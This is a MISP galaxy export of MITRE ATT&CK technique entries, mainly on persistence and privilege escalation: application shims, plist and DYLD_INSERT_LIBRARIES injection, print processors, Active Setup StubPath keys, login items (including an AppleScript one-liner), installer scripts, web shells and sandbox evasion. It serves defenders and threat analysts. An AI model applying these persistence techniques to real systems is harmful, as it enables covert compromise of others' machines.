Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- `<code>%WINDIR%\AppPatch\sysmain.sdb</code> and
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>`

Custom databases are stored in:

- `<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>`

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011"`

### Table 5679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf">http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/011">https://attack.mitre.org/techniques/T1546/011</a></td>
</tr>
</tbody>
</table>

## Plist Modification - T1547.011

Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, `<code>Info.plist</code>`, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic...
library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file. (Citation: wardle artofmalware volume1)

The tag is: misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011"

**View relationships graph**

Plist Modification - T1547.011 has relationships with:


---

**Table 5680. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/011">https://attack.mitre.org/techniques/T1547/011</a></td>
</tr>
<tr>
<td><a href="https://fileinfo.com/extension/plist">https://fileinfo.com/extension/plist</a></td>
</tr>
<tr>
<td><a href="https://taomm.org/vol1/pdfs.html">https://taomm.org/vol1/pdfs.html</a></td>
</tr>
</tbody>
</table>

---

**Print Processors - T1547.012**

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, <code>spoolsv.exe</code>, during boot. (Citation: Microsoft Intro Print Processors)

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\SYSTEM\CurrentControlSet\Print\Environments\Print Processors\Driver</code> Registry key that points to the DLL.

For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory. (Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run. (Citation: ESET PipeMon May 2020)

The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.

The tag is: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012"
PowerShell Profile - T1546.013

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (code profile.ps1 code) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.

[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the code-NoProfile code flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013"
Active Setup - T1547.014

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account’s associated permissions level.

Adversaries may abuse Active Setup by creating a key under `<code>HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components</code>` and setting a malicious value for `<code>StubPath</code>`. This value will serve as the program that will be executed when a user logs into the computer.

Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: `misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014"`

Table 5683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/014">https://attack.mitre.org/techniques/T1547/014</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2015/12/packrat-report/">https://citizenlab.ca/2015/12/packrat-report/</a></td>
</tr>
<tr>
<td><a href="https://helgeklein.com/blog/2010/04/active-setup-explained/">https://helgeklein.com/blog/2010/04/active-setup-explained/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/whos-really-spreading-through-the-bright-star/68978/">https://securelist.com/whos-really-spreading-through-the-bright-star/68978/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html">https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html</a></td>
</tr>
</tbody>
</table>

Login Items - T1547.015

Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call `<code>SMLoginItemSetEnabled</code>`.
Login items installed using the Service Management Framework leverage `<code>launchd</code>`, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as `<code>tell application "System Events" to make login item at end with properties /path/to/executable</code>`.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in `<code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>`.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Login Items - T1547.015"*

**Table 5684. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.hexed.in/2019/07/osxdok-analysis.html">http://www.hexed.in/2019/07/osxdok-analysis.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/015">https://attack.mitre.org/techniques/T1547/015</a></td>
</tr>
<tr>
<td><a href="https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/">https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/documentation/coreservices/launch_services">https://developer.apple.com/documentation/coreservices/launch_services</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1">https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html</a></td>
</tr>
<tr>
<td><a href="https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/">https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/</a></td>
</tr>
<tr>
<td><a href="https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/">https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/</a></td>
</tr>
</tbody>
</table>
Installer Packages - T1546.016

Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)

Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS postinstall scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)

Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include preinst, postinst, prerm, postrm scripts and run as root when executed.

For Windows, the Microsoft Installer services uses .msi files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged Prebuild and Postbuild events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)

The tag is: misp-galaxy:mitre-attack-pattern="Installer Packages - T1546.016"

Table 5685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/016">https://attack.mitre.org/techniques/T1546/016</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x59.html">https://objective-see.com/blog/blog_0x59.html</a></td>
</tr>
</tbody>
</table>
Identify groups/roles - T1270

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"

Table 5686. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1270">https://attack.mitre.org/techniques/T1270</a></td>
</tr>
</tbody>
</table>

Proxy/protocol relays - T1304

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304).

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"

Table 5687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1304">https://attack.mitre.org/techniques/T1304</a></td>
</tr>
</tbody>
</table>

Scheduled Task/Job - T1053

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis
for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)

The tag is: `misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053"`

### Table 5688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053">https://attack.mitre.org/techniques/T1053</a></td>
</tr>
</tbody>
</table>

### Scheduled Task/Job - T1603

Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.

On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)

On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)

The tag is: `misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603"`

### Table 5689. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1603">https://attack.mitre.org/techniques/T1603</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/topic/libraries/architecture/workmanager">https://developer.android.com/topic/libraries/architecture/workmanager</a></td>
</tr>
</tbody>
</table>

### Develop KITs/KIQs - T1227

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content
Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

The tag is: misp-galaxy:mitre-attack-pattern="Develop KITs/KIQs - T1227"

Table 5690. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1227">https://attack.mitre.org/techniques/T1227</a></td>
</tr>
</tbody>
</table>

**System Shutdown/Reboot - T1529**

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. `<code>reload</code>`). (Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability. (Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

The tag is: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529"

Table 5691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1529">https://attack.mitre.org/techniques/T1529</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html">https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/02/olympic-destroyer.html">https://blog.talosintelligence.com/2018/02/olympic-destroyer.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/TA18-106A">https://www.cisa.gov/uscert/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

**Virtualization/Sandbox Evasion - T1633**

Adversaries may employ various means to detect and avoid virtualization and analysis
environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors.

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1633"*

### Table 5692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1633">https://attack.mitre.org/techniques/T1633</a></td>
</tr>
</tbody>
</table>

### Virtualization/Sandbox Evasion - T1497

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"*

### Table 5693. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1497">https://attack.mitre.org/techniques/T1497</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1t0jn3xr4ff2frR30oQAUn_RsWSnMpOAQc">https://drive.google.com/file/d/1t0jn3xr4ff2frR30oQAUn_RsWSnMpOAQc</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/">https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/</a></td>
</tr>
</tbody>
</table>
Data Obfuscation - T1001

Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"

Table 5694. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1001">https://attack.mitre.org/techniques/T1001</a></td>
</tr>
</tbody>
</table>

Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

The tag is: misp-galaxy:mitre-attack-pattern="Web Shell - T1100"

View relationships graph

Web Shell - T1100 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 5695. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1100">https://attack.mitre.org/techniques/T1100</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/650.html">https://capec.mitre.org/data/definitions/650.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA15-314A">https://www.us-cert.gov/ncas/alerts/TA15-314A</a></td>
</tr>
</tbody>
</table>
Automated Exfiltration - T1020

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"

<table>
<thead>
<tr>
<th>Table 5696. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1020">https://attack.mitre.org/techniques/T1020</a></td>
</tr>
</tbody>
</table>

Hardware Additions - T1200

Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)

The tag is: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"

<table>
<thead>
<tr>
<th>Table 5697. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/">https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1200">https://attack.mitre.org/techniques/T1200</a></td>
</tr>
<tr>
<td><a href="https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html">https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=fXthwl6ShOg">https://www.youtube.com/watch?v=fXthwl6ShOg</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=lDvf4ScWbcQ">https://www.youtube.com/watch?v=lDvf4ScWbcQ</a></td>
</tr>
</tbody>
</table>
Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

The tag is: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"

View relationships graph

Data Compressed - T1002 has relationships with:


Table S698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1002">https://attack.mitre.org/techniques/T1002</a></td>
</tr>
</tbody>
</table>

Network Sniffing - T1040

Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)
Mirroring)

On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`. (Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)

The tag is: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"

<table>
<thead>
<tr>
<th>Table 5699. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1040">https://attack.mitre.org/techniques/T1040</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/vpc/docs/packet-mirroring">https://cloud.google.com/vpc/docs/packet-mirroring</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html">https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512">https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512</a></td>
</tr>
<tr>
<td><a href="https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/">https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

**New Service - T1050**

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service’s configuration information, including the file path to the service’s executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

The tag is: `misp-galaxy:mitre-attack-pattern="New Service - T1050"

View relationships graph

New Service - T1050 has relationships with:

